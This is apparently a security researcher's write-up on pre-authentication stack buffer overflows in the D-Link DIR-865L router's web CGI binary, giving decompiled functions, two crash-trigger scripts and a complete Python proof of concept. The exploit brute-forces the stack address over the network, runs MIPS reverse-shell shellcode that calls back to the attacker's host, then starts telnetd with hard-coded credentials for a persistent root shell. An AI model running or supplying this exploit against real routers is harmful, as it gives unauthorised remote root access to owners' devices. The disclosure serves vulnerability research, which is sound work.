C101101: D-Link DIR-865L, Memory corruptions lead to Remote Code Execution (pre-auth)
Before starting, it is recommended to read the previous articles:
Hello, this is the last article about the router D-Link DIR-865L.
In the previous articles (C101011, C101100) we first saw the possibility of exploiting a chain of logical bugs in order to get a Remote Code Execution. Then, we saw that the absence of signature verification during the firmware update, allows us to upload a backdoored firmware.
The following article will shows how a Stack Based Buffer Overflow memory corruption will allow us to obtain a Remote Code Execution but first we’ll see how HTTP requests are handled by the web server.
The Web server
As we have presented in the first article of this serie, here is a global schema showing how the router works.
Now, we will explain in more detail, what is really going on:
- The Web server (
httpd
located at/sbin/httpd
) listens on port 80 and 8181 using network sockets. - When an HTTP request is received,
/sbin/httpd
forks and then binary/htdocs/cgibin
is started (the parent and child processes communicate through a pipe), all of this is handled by thespawn()
function. - In the case where the program
/htdocs/cgibin
seeks to execute PHP code, it communicates via a unix socket with the binaryusr/sbin/xmldbc
which is responsible for carrying out the execution of the PHP code.
What we are interested in, is step two. When httpd
forks and executes cgibin
,
if cgibin
crashes, httpd
continues its execution normally without
interrupting the normal functioning of the router. So we will have to find
memory corruptions in binary /htdocs/cgibin
.
Memory corruptions
Stack Based Buffer Overflow (post-auth)
After looking at the code thanks to Ghidra I could
identify multiple memory corruptions. There is a Stack Based Buffer Overflow via
function strncpy()
in array acStack_110
(of size 206
). While cgibin
parse /var/run/storage_account_root using
function FUN_00410a70()
, we can control variable local_118
and sVar2
which
are respectively the 2nd (src
) and 3rd (len
) argument of function
stpncpy()
.
char * stpncpy(char * dst, const char * src, size_t len);
File: /htdocs/cgibin
Function: FUN_00410a70()
undefined4 FUN_00410a70(int param_1,int param_2) {
FILE *__stream;
char *pcVar1;
size_t sVar2;
int iVar3;
__ssize_t _Var4;
undefined4 local_128;
char *local_118;
size_t local_114;
char acStack_110 [260];
local_118 = (char *)0x0;
local_114 = 0;
local_128 = 0xffffffff;
__stream = fopen("/var/run/storage_account_root","r");
if (__stream != (FILE *)0x0) {
do {
_Var4 = getline(&local_118,&local_114,__stream);
if ((_Var4 == -1) || (pcVar1 = strchr(local_118,0x3a), pcVar1 == (char *)0x0))
goto LAB_00410c90;
sVar2 = (int)pcVar1 - (int)local_118;
strncpy(acStack_110,local_118,sVar2);
acStack_110[sVar2] = '\0';
pcVar1 = *(char **)(param_1 + 4);
sVar2 = strlen(*(char **)(param_1 + 4));
iVar3 = strncasecmp(acStack_110,pcVar1,sVar2);
pcVar1 = local_118;
} while (iVar3 != 0);
sVar2 = strlen(*(char **)(param_1 + 4));
FUN_00410894(pcVar1 + sVar2 + 1,param_2);
strcpy((char *)(param_1 + 0xc),acStack_110);
local_128 = 0;
}
LAB_00410c90:
if (local_118 != (char *)0x0) {
free(local_118);
}
return local_128;
}
The function FUN_00410a70()
is referenced by two other function:
FUN_00412be8()
FUN_00411604()
File: /htdocs/cgibin
Function: FUN_00412be8()
undefined4 FUN_00412be8(int param_1,int param_2) {
int iVar1;
size_t sVar2;
size_t sVar3;
int local_448;
int local_444;
char acStack_440 [128];
char acStack_3c0 [512];
char acStack_1c0 [16];
char acStack_1b0 [128];
undefined auStack_130 [4];
int local_12c;
undefined4 local_20;
local_448 = 0;
memset(auStack_130,0,0x10c);
local_12c = param_2;
iVar1 = FUN_00410a70((int)auStack_130,(int)acStack_440);
if (iVar1 < 0) {
local_20 = 0xffffffff;
}
else {
sprintf(acStack_3c0,"%s%s",(char *)param_2,(char *)(param_1 + 0x40));
sVar2 = strlen(acStack_3c0);
sVar3 = strlen(acStack_440);
hmac_md5((int)acStack_3c0,sVar2,acStack_440,sVar3,(int)acStack_1c0);
for (local_444 = 0; local_444 < 0x10; local_444 = local_444 + 1) {
iVar1 = sprintf(acStack_1b0 + local_448,"%02x",(int)acStack_1c0[local_444] & 0xff);
local_448 = local_448 + iVar1;
}
iVar1 = strcmp(acStack_1b0,(char *)(param_2 + 0x80));
if (iVar1 == 0) {
*(undefined4 *)(param_2 + 0x180) = 0;
local_20 = 0;
}
else {
local_20 = 0xffffffff;
}
}
return local_20;
}
And
File: /htdocs/cgibin
Function: FUN_00411604()
int FUN_00411604(uint *param_1,char *param_2,uint param_3) {
bool bVar1;
int iVar2;
char *__src;
undefined3 extraout_var;
long lVar3;
undefined4 uVar4;
int local_1a4;
undefined auStack_1a0 [128];
undefined auStack_120 [4];
char *local_11c;
char acStack_114 [268];
memset(auStack_120,0,0x10c);
local_11c = param_2;
iVar2 = FUN_00410a70((int)auStack_120,(int)auStack_1a0);
if (-1 < iVar2) {
strcpy(param_2,acStack_114);
__src = getenv("REMOTE_ADDR");
if ((((param_1 != (uint *)0x0) && (param_2 != (char *)0x0)) && (__src != (char *)0x0)) &&
(*__src != '\0')) {
memset(param_1,0,0xe8);
for (local_1a4 = 1; local_1a4 < 0x81; local_1a4 = local_1a4 + 1) {
iVar2 = FUN_00410d34(param_1,local_1a4,0,param_3);
if ((iVar2 < 0) || (bVar1 = FUN_0041114c(*param_1), CONCAT31(extraout_var,bVar1) != 0)) {
memset(param_1,0,0xe8);
strncpy((char *)(param_1 + 2),param_2 + 0x100,0x40);
strncpy((char *)(param_1 + 0x16),param_2,0x80);
strncpy((char *)(param_1 + 0x12),__src,0x10);
lVar3 = FUN_00410ce0();
*param_1 = lVar3 + 600;
param_1[1] = *(uint *)(param_2 + 0x180);
uVar4 = 1;
iVar2 = local_1a4;
FUN_00410d34(param_1,local_1a4,1,param_3);
FUN_0041152c((char *)(param_1 + 2),iVar2,uVar4,param_3);
return local_1a4;
}
}
}
}
return -1;
}
Function FUN_00412be8()
and FUN_00411604()
are only referenced by function
authenticationcgi_main()
.
File: /htdocs/cgibin
Function: FUN_00411604()
undefined4 authenticationcgi_main(undefined4 param_1,char **param_2,undefined4 param_3,undefined4 param_4) {
char *__s1;
uint uVar1;
uint uVar2;
int iVar3;
FILE *pFVar4;
undefined *puVar5;
undefined4 uVar6;
char acStack_304 [256];
char acStack_204 [132];
uint auStack_180 [58];
char acStack_98 [144];
__s1 = getenv("REQUEST_METHOD");
memset(auStack_180,0,0xe8);
memset(acStack_304,0,0x184);
uVar6 = 0x84;
memset(acStack_98,0,0x84);
uVar1 = FUN_0040ff98(*param_2);
if (__s1 == (char *)0x0) {
FUN_0041215c((int)acStack_304,(int)acStack_98,4);
}
else if ((uVar1 == 1) || (uVar1 == 3)) {
uVar2 = FUN_004129f0(uVar1);
if ((uVar2 == 0) || (iVar3 = FUN_00412a44(uVar1), iVar3 < 0)) {
FUN_0041215c((int)acStack_304,(int)acStack_98,0xb);
}
else {
FUN_0041215c((int)acStack_304,(int)acStack_98,10);
}
}
else {
puVar5 = &DAT_00432198;
iVar3 = strcmp(__s1,"GET");
if (iVar3 == 0) {
iVar3 = FUN_004127d4(acStack_98,puVar5,uVar6,param_4);
if (iVar3 < 0) {
FUN_0041215c((int)acStack_304,(int)acStack_98,1);
}
else {
FUN_0041215c((int)acStack_304,(int)acStack_98,0);
}
}
else {
iVar3 = strcmp(__s1,"POST");
if (iVar3 == 0) {
memset(acStack_304,0,0x184);
iVar3 = FUN_00412018(acStack_304);
if (iVar3 < 0) {
FUN_0041215c((int)acStack_304,(int)acStack_98,5);
}
else {
uVar6 = 0x84;
memset(acStack_98,0,0x84);
iVar3 = FUN_004113a0(acStack_98,acStack_204);
if (iVar3 < 0) {
FUN_0041215c((int)acStack_304,(int)acStack_98,6);
}
else {
if (uVar1 == 0) {
iVar3 = FUN_00412e30((int)acStack_98,(int)acStack_304,uVar6,param_4);
if (iVar3 < 0) {
FUN_0041215c((int)acStack_304,(int)acStack_98,3);
return 0;
}
}
else if (uVar1 == 2) {
pFVar4 = fopen("/var/run/storage_account_root","r");
if (pFVar4 == (FILE *)0x0) {
FUN_0041215c((int)acStack_304,(int)acStack_98,0xc);
return 0;
}
iVar3 = FUN_00412be8((int)acStack_98,(int)acStack_304);
if (iVar3 < 0) {
FUN_0041215c((int)acStack_304,(int)acStack_98,3);
return 0;
}
}
iVar3 = FUN_00411604(auStack_180,acStack_304,uVar1);
if (iVar3 < 0) {
FUN_0041215c((int)acStack_304,(int)acStack_98,8);
}
else {
FUN_0041215c((int)acStack_304,(int)acStack_98,2);
}
}
}
}
else {
FUN_0041215c((int)acStack_304,(int)acStack_98,4);
}
}
}
return 0;
}
main()
authenticationcgi_main()
FUN_00412be8()
orFUN_00411604()
FUN_00410a70()
It is easy to trigger the bug (it is necessary to be authenticated to make changes to file /var/run/storage_account_root), but, it may not be so easy to exploit.
Stack Based Buffer Overflow (pre-auth)
After some more searching I found two ways to trigger a Stack Based Buffer
Overflow allowing me to control the s8
and pc
registers without
authentication.
First trigger
File: trigger_0.py
import socket
# Target IP.
IP = b"192.168.0.1"
# Target port.
PORT = 8181
# Path to reach the vulnerable code.
BASE_PATH = b"/dws/api/Login"
# Padding to fill the buffer and then
# overflow registers.
PADDING = 508
# HTML POST request body.
http_request_body = b"id=junk&password=junk"
payload = b""
# Adding padding.
payload += b"A" * PADDING
# Controlling s8 (42424242).
payload += b"B" * 4
# Controlling pc (43434343).
payload += b"C" * 4
# Controlling on what register s2 point to:
# - padding
payload += b"D" * 64
# - value (45454545)
payload += b"E" * 4
# Controlling on what register s3 point to:
# - padding
payload += b"F" * 184
# - value (47474747)
payload += b"G" * 4
http_request_header = b""
http_request_header += b"POST " + BASE_PATH + b" HTTP/1.1" + b"\r\n"
http_request_header += b"Host: " + IP + b":" + str(PORT).encode() + b"\r\n"
http_request_header += b"Content-Type: application/x-www-form-urlencoded" + b"\r\n"
http_request_header += b"Content-Length: " + str(len(http_request_body)).encode() + b"\r\n"
http_request_header += b"Cookie: uid=" + payload + b"\r\n"
http_request_header += b"\r\n"
http_request = http_request_header + http_request_body + b"\r\n\r\n"
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
s.send(http_request)
response = s.recv(256)
print(response)
except Exception as e:
print(e)
Second trigger
File: trigger_1.py
import socket
import struct
# Target IP.
IP = b"192.168.0.1"
# Target port.
PORT = 8181
# Path to reach the vulnerable code.
BASE_PATH = b"/dws/api/Login"
# Padding to fill the buffer and then
# overflow registers.
PADDING = 636
payload = b""
# Adding padding.
payload += b"A" * PADDING
# Controlling s8 (42424242).
payload += b"B" * 4
# Controlling pc (43434343).
payload += b"C" * 4
# Controlling on what register s2 point to:
# - padding
payload += b"D" * 64
# - value (45454545)
payload += b"E" * 4
# Controlling on what register s3 point to:
# - padding
payload += b"F" * 184
# - value (47474747)
payload += b"G" * 4
# HTML POST request body.
http_request_body = b"id=junk&password=" + payload
http_request_header = b""
http_request_header += b"POST " + BASE_PATH + b" HTTP/1.1" + b"\r\n"
http_request_header += b"Host: " + IP + b":" + str(PORT).encode() + b"\r\n"
http_request_header += b"Content-Type: application/x-www-form-urlencoded" + b"\r\n"
http_request_header += b"Content-Length: " + str(len(http_request_body)).encode() + b"\r\n"
http_request_header += b"Cookie: uid=junk" + b"\r\n"
http_request_header += b"\r\n"
http_request = http_request_header + http_request_body + b"\r\n\r\n"
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
s.send(http_request)
response = s.recv(256)
print(response)
except Exception as e:
print(e)
So we have found two ways to control the execution flow of the program cgibin
.
Exploit
Let’s use checksec
on our binary:
The following information are extremely important:
- The program stack is executable
NX disabled
. - Our program is not a pogram of type Position Independent Executable
No PIE
.
For the router:
- ASLR (Address Space Layout Randomization) is enabled.
Strategy
To summarize:
httpd
forks at each request and executescgibin
whose execution flow is under our control.cgibin
stack is executable (of which we control a consequent number of bytes) but ASLR is enabled.
Therefore, it could be thought that, it would be a good idea to use a technique like ROP (Return Oriented Programming). However, if you run the script trigger_1.py several times in a row, you will notice the following.
During the exploit (for firmwares v1.00 to v1.03v), the register sp
takes
values which does not seem to be random enough:
- Value:
0x7feffc28
- Value:
0x7fcabc28
- Value:
0x7ff0cc28
- Value: …
These values can be decomposed as follows:
- Value:
0x7feffc28
- Prefix:
0x7f
- Random part:
eff
- Suffix:
c28
- Prefix:
- Value:
0x7fcabc28
- Prefix:
0x7f
- Random part:
cab
- Suffix:
c28
- Prefix:
- Value:
0x7ff0cc28
- Prefix:
0x7f
- Random part:
f0c
- Suffix:
c28
- Prefix:
For versions greater or equal to v1.05 the suffix has the value 938
.
In fact we realize that the register sp
is composed of 12 random bits and 20
predictable bits. Furthermore, 2 power 12 equals 4096, so there are only 4096
possible values for sp
. We will try to brute force its value and hope to hit
the start of our shellcode or at least the start of a NOP instruction.
On MIPS there is no NOP instruction, but we can execute equivalent instructions, like this one:
nor $t6, $t6, $zero
Payload
We will arrange our payload to optimize the chances of success. The goal is to
slide to our shellcode, and to do this, we must hit our NOP sled. But not at any
place, we have to hit the beginning of the instruction nor $t6, $t6, $zero
.
Not hitting the exact start of an instruction, will cause the exploit to fail.
We will try to exploit this buffer overflow within different threads (in while
loop), while waiting for a thread to succeed. The shellcode being a reverse
shell we will dedicate a thread to check that the shellcode has been executed.
Once a bash shell (/bin/sh
) is retrieved via the reverse shell, we execute a
bash command to run the telnetd
binary and get a more stable shell.
Here we can see several 0x41414141
between shellcode and pc
but actually the
stack looks more like this (please refer to the Proof Of Concept section).
-----------
| NOP | <- NOP sled of a pre-calculated length depending of the target firmware version.
| ... |
-----------
| SHELLCODE | <- Reverse shell shellcode.
-----------
| AAAA | <- Junk value which I used only during the debug phase.
-----------
| BBBB | <- Junk value to control the s8 register.
-----------
| ~SP | <- Value to control the pc register.
-----------
| NOP | <- NOP sled of 10 NOP instruction.
| ... |
-----------
| SHELLCODE | <- Reverse shell shellcode.
-----------
Proof Of Concept
File: exploit.py
import argparse
import os
import requests
import socket
import struct
import threading
import urllib3
# Remove SSL warnings.
urllib3.disable_warnings()
# Exploitable versions.
# - padding: Padding to fill the buffer and then
# start overflowing registers.
# - sp_prefix: First 8 bits of sp register.
# - sp_suffix: Last 12 bits of sp register.
VERSIONS = {
"1.00": {
"padding": 636,
"sp_prefix": "0x7f",
"sp_suffix": "c28",
},
"1.02": {
"padding": 636,
"sp_prefix": "0x7f",
"sp_suffix": "c28",
},
"1.03": {
"padding": 636,
"sp_prefix": "0x7f",
"sp_suffix": "c28",
},
"1.05": {
"padding": 508,
"sp_prefix": "0x7f",
"sp_suffix": "938",
},
"1.07": {
"padding": 508,
"sp_prefix": "0x7f",
"sp_suffix": "938",
}
}
# Direction in which we iterate within
# the memory address space.
REVERSE_ORDER = 0
# Possible NOP instruction for MIPS32 Little Endian CPUs,
# calculated from Website:
# - URL: https://www.eg.bucknell.edu/~csci320/mips_web/
NOP = b"\x01\xc0\x70\x27"[::-1] # nor $t6, $t6, $zero,
# IP on which the reverse shell will try to connect.
REVSH_IP = "192.168.1.100"
ENCODED_REVSH_IP = [
int(hex(int(REVSH_IP.split(".")[0]))[2:4], 16).to_bytes(1, "little") + int(hex(int(REVSH_IP.split(".")[1]))[2:4], 16).to_bytes(1, "little"),
int(hex(int(REVSH_IP.split(".")[2]))[2:4], 16).to_bytes(1, "little") + int(hex(int(REVSH_IP.split(".")[3]))[2:4], 16).to_bytes(1, "little")
]
for i in range(len(ENCODED_REVSH_IP)):
ENCODED_REVSH_IP[i] = ENCODED_REVSH_IP[i][::-1]
if ENCODED_REVSH_IP[i].find(b"\x00") != -1 or ENCODED_REVSH_IP[i].find(b"\x0a") != -1 :
print(f"[x] Hexadecimal representation of {REVSH_IP} must not contain NULL byte.")
exit(-1)
# Port on which the reverse shell will try to connect.
REVSH_PORT = 61337
ENCODED_REVSH_PORT = (int(hex(REVSH_PORT)[2:4], 16)-1).to_bytes(1, "little") + (int(hex(REVSH_PORT)[4:6], 16)).to_bytes(1, "little")
if ENCODED_REVSH_PORT.find(b"\x00") != -1 or ENCODED_REVSH_PORT.find(b"\x0a") != -1 :
print(f"[x] Hexadecimal representation of {REVSH_PORT} must not contain NULL byte.")
exit(-1)
# Public shellcode (MIPS32 reverse shell):
# - URL: https://www.eg.bucknell.edu/~csci320/mips_web/
SHELLCODE = []
# sys_close
SHELLCODE.append(b"\x28\x04\xff\xff") # SLTI $a0 $zero 0xFFFF
SHELLCODE.append(b"\x24\x02\x0f\xa6") # ADDIU $v0 $zero 0x0FA6 (4006 <=> sys_close)
SHELLCODE.append(b"\x01\x09\x09\x0c") # SYSCALL
# sys_close
SHELLCODE.append(b"\x28\x04\x11\x11") # SLTI $a0 $zero 0x1111
SHELLCODE.append(b"\x24\x02\x0f\xa6") # ADDIU $v0 $zero 0x0FA6 (4006 <=> sys_close)
SHELLCODE.append(b"\x01\x09\x09\x0c") # SYSCALL
# sys_close
SHELLCODE.append(b"\x24\x0c\xff\xfd") # ADDIU $t4 $zero 0xFFFD
SHELLCODE.append(b"\x01\x80\x20\x27") # NOR $a0 $t4 $zero
SHELLCODE.append(b"\x24\x02\x0f\xa6") # ADDIU $v0 $zero 0x0FA6 (4006 <=> sys_close)
SHELLCODE.append(b"\x01\x09\x09\x0c") # SYSCALL
# sys_socket
SHELLCODE.append(b"\x24\x0c\xff\xfd") # ADDIU $t4 $zero 0xFFFD
SHELLCODE.append(b"\x01\x80\x20\x27") # NOR $a0 $t4 $zero
SHELLCODE.append(b"\x01\x80\x28\x27") # NOR $a1 $t4 $zero
SHELLCODE.append(b"\x28\x06\xff\xff") # SLTI $a2 $zero 0xFFFF
SHELLCODE.append(b"\x24\x02\x10\x57") # ADDIU $v0 $zero 0x1057 (4183 <=> sys_socket)
SHELLCODE.append(b"\x01\x09\x09\x0c") # SYSCALL
# Save return value ($v0) to register $a0.
SHELLCODE.append(b"\x30\x44\xff\xff") # ANDI $a0 $v0 0xFFFF
# sys_dup
SHELLCODE.append(b"\x24\x02\x0f\xc9") # ADDIU $v0 $zero 0x0FC9 (4041 <=> sys_dup)
SHELLCODE.append(b"\x01\x09\x09\x0c") # SYSCALL
# sys_dup
SHELLCODE.append(b"\x24\x02\x0f\xc9") # ADDIU $v0 $zero 0x0FC9 (4041 <=> sys_dup)
SHELLCODE.append(b"\x01\x09\x09\x0c") # SYSCALL
# sys_connect
SHELLCODE.append(b"\x3c\x05" + ENCODED_REVSH_PORT[::-1]) # LUI $a1 <PORT>
SHELLCODE.append(b"\x34\xa5\xff\x01") # ORI $a1 $a1 0xFF01
SHELLCODE.append(b"\x20\xa5\x01\x01") # ADDI $a1 $a1 0x0101
SHELLCODE.append(b"\xaf\xa5\xff\xf8") # SW $a1 0xFFF8 $sp
SHELLCODE.append(b"\x3c\x05" + ENCODED_REVSH_IP[1]) # LUI $a1 0x1B01
SHELLCODE.append(b"\x34\xa5" + ENCODED_REVSH_IP[0]) # ORI $a1 $a1 0xA8C0
SHELLCODE.append(b"\xaf\xa5\xff\xfc") # SW $a1 0xFFFC $sp
SHELLCODE.append(b"\x23\xa5\xff\xf8") # ADDI $a1 $sp 0xFFF8
SHELLCODE.append(b"\x24\x0c\xff\xef") # ADDIU $t4 $zero 0xFFEF
SHELLCODE.append(b"\x01\x80\x30\x27") # NOR $a2 $t4 $zero
SHELLCODE.append(b"\x24\x02\x10\x4a") # ADDIU $v0 $zero 0x104A (4170 <=> sys_connect)
SHELLCODE.append(b"\x01\x09\x09\x0c") # SYSCALL
# Putting "/bin/sh" on the stack.
SHELLCODE.append(b"\x3c\x08\x69\x62") # LUI $t0 0x6962
SHELLCODE.append(b"\x35\x08\x2f\x2f") # ORI $t0 $t0 0x2F2F
SHELLCODE.append(b"\xaf\xa8\xff\xec") # SW $t0 0xFFEC $sp
SHELLCODE.append(b"\x3c\x08\x68\x73") # LUI $t0 0x6873
SHELLCODE.append(b"\x35\x08\x2f\x6e") # ORI $t0 $t0 0x2F6E
SHELLCODE.append(b"\xaf\xa8\xff\xf0") # SW $t0 0xFFF0 $sp
SHELLCODE.append(b"\x28\x07\xff\xff") # SLTI $a3 $zero 0xFFFF
SHELLCODE.append(b"\xaf\xa7\xff\xf4") # SW $a3 0xFFF4 $sp
SHELLCODE.append(b"\xaf\xa7\xff\xfc") # SW $a3 0xFFFC $sp
# sys_execve
SHELLCODE.append(b"\x23\xa4\xff\xec") # ADDI $a0 $sp 0xFFEC
SHELLCODE.append(b"\x23\xa8\xff\xec") # ADDI $t0 $sp 0xFFEC
SHELLCODE.append(b"\xaf\xa8\xff\xf8") # SW $t0 0xFFF8 $sp
SHELLCODE.append(b"\x23\xa5\xff\xf8") # ADDI $a1 $sp 0xFFF8
SHELLCODE.append(b"\x27\xbd\xff\xec") # ADDIU $sp $sp 0xFFEC
SHELLCODE.append(b"\x28\x06\xff\xff") # SLTI $a2 $zero 0xFFFF
SHELLCODE.append(b"\x24\x02\x0f\xab") # ADDIU $v0 $zero 0x0FAB (4011 <=> sys_connect)
SHELLCODE.append(b"\x01\x09\x09\x0c") # SYSCALL
# Converting shellcode to Little Endian.
SHELLCODE = b"".join([instruction[::-1] for instruction in SHELLCODE])
# Port on which the telnetd process should listen.
TELNETD_PORT = 1337
# Credentials to use when connecting to telnetd.
CREDENTIALS = {
"login": "coiffeur",
"password": "coiffeur"
}
# This function extracts the data between two delimiters.
def extract(raw, start_delimiter, end_delimiter):
# The first delimiter is searched for.
start = raw.find(start_delimiter)
if start == -1:
print("[x] Error: function extract() failed (can't find starting delimiter).")
return None
start = start + len(start_delimiter)
# The second delimiter is searched for.
end = raw[start::].find(end_delimiter)
if end == -1:
print("[x] Error: function extract() failed (can't find end delimiter).")
return None
end += start
return raw[start:end]
class Recon:
# The header "Server" leaks information (model number, firmware version).
server_header = "Server"
def __init__(self, ip, port):
self.ip = ip
self.port = port
# We check that we can communicate with the target
# either through the HTTPS protocol or through the
# HTTP protocol.
if not (self.check_protocol(f"https://{ip}:{port}") or self.check_protocol(f"http://{ip}:{port}")):
print("\t"+"[x] Can't communicate with the target.")
exit(-1)
print("\t"+f"[*] Target's URL: {self.url}")
# We check that the target is vulnerable by identifying
# its model number and firmware version.
if not self.check_target():
print("\t"+"[x] Target is not exploitable.")
exit(-1)
print("\t"+"[+] Target is exploitable.")
# This function tries to communicate with the Web server
# through the provided URL
def check_protocol(self, url):
try:
r = requests.get(url=url, verify=False)
except:
return 0
self.url = url
return 1
# This function checks the router model number through
# the headers of the Web server response and the content
# of the response body. The firmware version is given
# for information only.
def check_target(self):
r = requests.get(url=self.url, allow_redirects=False, verify=False)
if r.status_code != 200:
return 0
# We check the presence of the model number in the
# self.server_header header.
if r.headers[self.server_header].find("DIR-865L") == -1:
return 0
model_header = r.headers[self.server_header].split(" ")[2]
version_header = " ".join(r.headers[self.server_header].split(" ")[3:5]).split(" ")[-1]
print("\t"+f"[*] Model retrieved from header '{self.server_header}': {model_header} (Information Leak, pre-auth)")
print("\t"+f"[*] Version retrieved from header '{self.server_header}': {version_header} (Information Leak, pre-auth)")
# We check the presence of the model number in the body
# of the Web server response.
if r.text.find("DIR-865L") == -1:
return 0
model_body = extract(r.text, "<div class=\"pp\">", "<a").split(" ")[-1]
version_body = extract(r.text, "<div class=\"fwv\">", "<span id=\"fw_ver\"").split(" ")[-1]
print("\t"+f"[*] Model retrieved from HTML body: {model_body} (Information Leak, pre-auth)")
print("\t"+f"[*] Version retrieved from HTML body: {version_body} (Information Leak, pre-auth)")
if version_header == version_body:
for version in VERSIONS:
if version == version_body:
self.version = version
return 1
return 0
class Attack:
# Path (route) to trigger the Stack Based Buffer Overflows.
base_path = "/dws/api/Login"
# Table containing all our threads.
threads = []
# Number of threads used to check if the shellcode have been executed.
number_of_check_threads = 1
# Number of threads used to brute force sp register value.
number_of_brute_force_threads = 0xf + 0x1
# Once the a shell is obtained, we try to get a cleaner shell by executing
# the following command.
cmd = f"telnetd -p{TELNETD_PORT} -l/usr/sbin/login -u {CREDENTIALS['login']}:{CREDENTIALS['password']}"
def __init__(self, ip, port, version):
self.ip = ip
self.port = port
self.version = version
# Number of char used during integer to
# hexadecimal conversion.
# Example:
# - from int: 23
# - to hex: 0x17
self.hex_padding_format = 4
self.intermediate_min = 0x00
self.intermediate_max = 0xff
print(f"\t[*] Starting {self.number_of_brute_force_threads + self.number_of_check_threads} threads ...")
print(f"\t\t- {self.number_of_brute_force_threads} to brute force sp register value.")
print(f"\t\t- {self.number_of_check_threads} to check if the shellcode have been executed.")
# There we launch threads whose objective is to brute force the real value of sp register.
for i in range(self.number_of_brute_force_threads):
thread = threading.Thread(target=self.bf_sp, args=(i,))
thread.start()
self.threads.append(thread)
# There we launch threads that check if the shellcode has been executed then we execute a bash commands.
for _ in range(self.number_of_check_threads):
thread = threading.Thread(target=self.check)
thread.start()
self.threads.append(thread)
for thread in self.threads:
thread.join()
# This function is executed in a thread and brute force the value of the real sp register
# by defining the value of pc with a potential value of sp since the stack is executable.
def bf_sp(self, thread_id):
global REVERSE_ORDER
while 1:
if REVERSE_ORDER == 0:
REVERSE_ORDER = 1
start = self.intermediate_min
stop = self.intermediate_max + 1
step = 1
elif REVERSE_ORDER == 1:
REVERSE_ORDER = 0
start = self.intermediate_max + 1
stop = self.intermediate_min - 1
step = -1
for i in range(start, stop, step):
hex_thread_id = hex(thread_id)[2::]
intermediate = f"{i:#0{self.hex_padding_format}x}"[2::]
# The payload can't contains NULL bytes (\x00).
if intermediate.find("00") == -1:
sp = int(VERSIONS[self.version]["sp_prefix"] + hex_thread_id + intermediate + VERSIONS[self.version]["sp_suffix"], 16)
# The real value of sp points to what is written after the place where we rewrite pc.
# The stack being executable we place our shellcode (and a NOP sled before) on both sides of this value
payload = b""
# Adding NOP sled.
if float(self.version) < float("1.05"):
payload += NOP * 108
else:
payload += NOP * 76
# Adding shellcode.
payload += SHELLCODE
# Adding padding.
payload += b"A" * (VERSIONS[self.version]["padding"] - len(payload))
# Setting s8 tp Ox42424242 for debug purpose only.
payload += b"B" * 4
# Setting pc to sp in order
# to jump on our shellcode or
# at least in the NOP sled.
payload += struct.pack("I", sp)
# Adding NOP sled.
payload += NOP * 10
# Adding SHELLCODE.
payload += SHELLCODE
if float(self.version) < float("1.05"):
# HTML POST request body.
http_request_body = b"id=junk&password=" + payload
# HTML POST request headers.
http_request_header = b""
http_request_header += b"POST " + self.base_path.encode() + b" HTTP/1.1" + b"\r\n"
http_request_header += b"Host: " + self.ip.encode() + b":" + self.port.encode() + b"\r\n"
http_request_header += b"Content-Type: application/x-www-form-urlencoded" + b"\r\n"
http_request_header += b"Content-Length: " + str(len(http_request_body)).encode() + b"\r\n"
http_request_header += b"Cookie: uid=junk" + b"\r\n"
http_request_header += b"\r\n"
else:
# HTML POST request body.
http_request_body = b"id=junk&password=junk"
# HTML POST request headers.
http_request_header = b""
http_request_header += b"POST " + self.base_path.encode() + b" HTTP/1.1" + b"\r\n"
http_request_header += b"Host: " + self.ip.encode() + b":" + self.port.encode() + b"\r\n"
http_request_header += b"Content-Type: application/x-www-form-urlencoded" + b"\r\n"
http_request_header += b"Content-Length: " + str(len(http_request_body)).encode() + b"\r\n"
http_request_header += b"Cookie: uid=" + payload + b"\r\n"
http_request_header += b"\r\n"
# Final HTTP POST request.
http_request = http_request_header + http_request_body + b"\r\n\r\n"
# Sending the request to the Web server.
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((self.ip, int(self.port)))
s.send(http_request)
s.close()
except Exception as e:
pass
# This function checks if the target has executed our shellcode, if so,
# we try to execute a bash command.
def check(self):
s = socket.socket()
s.bind((REVSH_IP, REVSH_PORT))
s.listen(128)
print(f"\t[*] Listening on {REVSH_IP}:{REVSH_PORT} ...")
client_socket, client_address = s.accept()
print(f"\t[*] Client {client_address[0]}:{client_address[1]} connected.")
print("\t[*] Root shell acquired.")
print(f"\t[*] Running command: {self.cmd}")
client_socket.send(self.cmd.encode() + b"\n")
print("[+] Exploit succeed.")
os._exit(0)
def main(options):
print(f"[*] Starting recon for {options['ip']}:{options['port']} ...")
recon = Recon(options['ip'], options['port'])
print(f"[*] Starting attack on {recon.ip}:{recon.port} ...")
_ = Attack(recon.ip, recon.port, recon.version)
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("ip", help="Target's IP.")
parser.add_argument("port", help="Target's port.")
args = parser.parse_args()
options = {}
if args.ip and args.port:
options["ip"] = args.ip
options["port"] = args.port
else:
parser.print_help()
exit(-1)
main(options)
Thank you for taking the time to read this article.